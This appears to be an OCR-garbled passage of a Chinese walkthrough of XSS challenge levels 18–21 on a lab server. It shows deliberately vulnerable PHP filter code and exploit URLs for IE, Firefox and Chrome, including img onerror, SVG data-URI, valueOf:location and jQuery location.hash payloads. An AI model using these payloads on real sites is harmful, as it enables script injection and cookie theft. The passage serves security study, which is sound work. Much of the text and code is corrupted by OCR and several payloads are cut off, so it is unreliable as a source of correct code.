<textarea>

<?php

//Fix#e01l

$input=str_replace("<script>","",$_GET["input"]);

//Fix#002
$input=str_replace("/","\/",$input);
echo $input;

?>

</textarea>
</body>
</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php?input=plaintext

WRIGIFHIEE, MARErextarca B, EARAEGHBR TIRER

B, FFE T xsstr

FIET, XMRIRMBSIEINANEFER TR EE

e' _ | @ http:/fec2-13-58-146-2.us-east-2.compute.amazona... O ~ M & || @ ec2-13-58-146-2.us-east-2.co... @ ec?-13-58-146-2.us-east-2.... *

aaaa

a http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com,/xss18.pl
File Edit Fermat

1 khtml>
2 <head:

3 i <meta charset=utf-8>
4 i <fhead>

<textafear
<textaffearaaas
8 </textarea>

L
T

18 : </html>
11

e

IE exp:

pfinput=<textarea>aaaa -

riginal Source

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss18.php?input=%3Ctextarea%3E%3Cimg%20src=1%200n%3C

ref. https://www.slideshare.net/codeblue_jp/xss-attacks-exploiting-xss-filter-by-masato-kinugawa-code-blue-

2015
19. Party (R 5 1H)



<IDOCTYPE html>

<html>

<head>

<meta charset="utf-8">
<script>

function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';");
for(var i = @; i < ca.length; i++) {
var ¢ = ca[i];
while (c.charAt(@) == " ') {
Cc = c.substring(1);
}
if (c.indexOf(name) == @) {
return c.substring(name.length, c.length);

}

return

nn o,
3

function checkCookie() {
var user=getCookie("username");
if (user I="") {
document.write("¥i, " + unescape(user));
} else {
alert("EEM")

</script>

</head>

<body onload="checkCookie()">

<?php echo '<img name="avatar" src="'.str_replace('"',"&quot;",$ _GET["1link"]).'" width="30" height="40">"'
</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.convxss19.php?
link=http://up.qqgjia.com/z/face01/face06/facejunyong/junyong02.jpg

FF exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xssl19.php?link=data:image%2fsvgk2bxml,%3Cmeta%20xmln

ref: http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html
20. The End(Kf# i)



<?php

header ("Content-Type:text/html;charset=utf-8");
header ("X-Content-Type-Options: nosniff");
header ("X-FRAME-OPTIONS: DENY");

header ("X-XSS-Protection: 0");

$hookid=str_replace("=","",htmlspecialchars($_GET["hookid"]));
$hookid=str_replace(")","",$hookid);
$hookid=str_replace("(","",$hookid);
$hookid=str_replace(" ","",$hookid);
?>

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<script>

hookid="'<?php echo $hookid;?>";
</script>

<body>

</body>

</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.con/xss20.php?hookid=9527

IE exp

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss20.php?hookid="'%2b{valueOf:location, toString:[].

ref: https://twitter.com/xssvector/status/213631832053395456
7 AMNE—F — Ifl K F safariffiOday i ik 7.
21. &5+ jquery



<?php
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header ("X-FRAME-OPTIONS: DENY");

header ("X-XSS-Protection: 0");

?>

<html>

<head>

<meta charset="utf-8">

<script src="https://code.jquery.com/jquery-3.2.1.7js" integrity="sha256-DZAnKJ]/6XZ9si@4Hgrsxu/8s717jcIzL
p p Jquery Jquery J grity g J y

<script>

window.jQuery || document.write('<script src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/jque

</script>
</head>
<body>
<script>
$(function(){
try { $(location.hash) } catch(e) {}

1))

</script>
</body>
</html>

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php

jugery R ANE A — KRR A KN S, SEBIEZR(HEMNLIFE), cdnffljgeuryml BESNER KM, XEHE
MEEINR — T AHKjquery, AN Mjqueryiid A1 . 6. 1 R FERFE

HREMBZIAEATE, ATRENIEZES MR FERAMjquery, 4 —gEikcdnifjqueryin &M ~
REFERZFEcdnif A FEAheader, thiniireferrer, #H T cdnfik$2SFTREEZHIVEE, MEr=AEHEAFE RN

%, HIRKS T4,

chrome Exp:

http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss21.php?a=a.... (¥ A& #9000/ a)#<img src=1 onerror

1 2, 200
= xss21.php?

OK
jquery-3.2.1.js (failed)
—J code.jquery.com net::ERR_CONNEC...
| jquery.js 200

OK

1 404
Not Found

AN BR [ — L3

5778

document Other
367 B
xss21.php?a=aaaaaaa...... 0B
Parser 0B
scriot xss21.php?a=aaaaaaa...... aaaaaaa... 66.4 KB
P! Script 229 KB
jauery.js:6064 312B

text/html

exvmm Script 312B

FFRRA BT, Mi%EXtlocation.hashifJigfE, HLin<iELurlimig

safai, TS HIN%20%5

Fsb<svg/onload=alert (1) >BIEALET), FAMKIRECEMELT T

ref: https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016

913 ms
911 ms

854 ms

1.14s
626 ms
608 ms
606 ms




. T:https://www.cnblogs.com/iamstudy/articles/Xss_Challenge_Unexploitable Wp.html
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